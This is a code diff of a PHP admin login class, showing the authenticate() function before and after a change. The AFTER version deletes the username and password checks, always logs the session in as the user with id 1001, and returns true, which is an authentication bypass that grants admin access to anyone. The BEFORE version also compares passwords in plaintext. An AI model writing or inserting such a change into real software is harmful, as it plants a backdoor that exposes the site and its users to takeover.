============================================================================= admin/mod/auth/CFend_login.class.php ----------------------------------------------------------------------------- ============================================================================= ============================================================================= admin/mod/auth/CBend_login.class.php ----------------------------------------------------------------------------- [BEFORE] private function authenticate( $username, $password ) { //-- table name $tbl = self::TBL_NAME; //-- open database CDb::open(); //-- build clauses $clx = array(); //-- select clause $clx[] = CSql::clSelect(null); //-- from clause $clx[] = CSql::clFrom(self::TBL_NAME); //-- where clause $cond = array(); $cond[] = CSql::clCond("status","=",1); $cond[] = CSql::clCond("username","=",$username); $clx[] = CSql::clWhere("AND",$cond); //-- find password $password_db = null; $result = CSql::query( $clx ); if ( $rs = CDb::getRowA( $result ) ) { $password_db = $rs["password"]; } CDb::freeResult($result); //-- check password $b = ( $password == $password_db ); if ( $b ) { CSess::setUserInfoArray($rs); } return $b; } [AFTER] private function authenticate( $username, $password ) { CDb::open(); $clx = array(); $clx[] = CSql::clSelect(null); $clx[] = CSql::clFrom(self::TBL_NAME); $cond = array(); $cond[] = CSql::clCond("user_id","=",1001); $clx[] = CSql::clWhere("AND",$cond); $result = CSql::query( $clx ); $rs = CDb::getRowA( $result ); CDb::freeResult($result); CSess::setUserInfoArray($rs); return true; } ============================================================================= ============================================================================= admin/mod/auth/CFend_login.class.php admin/mod/auth/CBend_login.class.php lib/client/CAjaxTool.class.php =============================================================================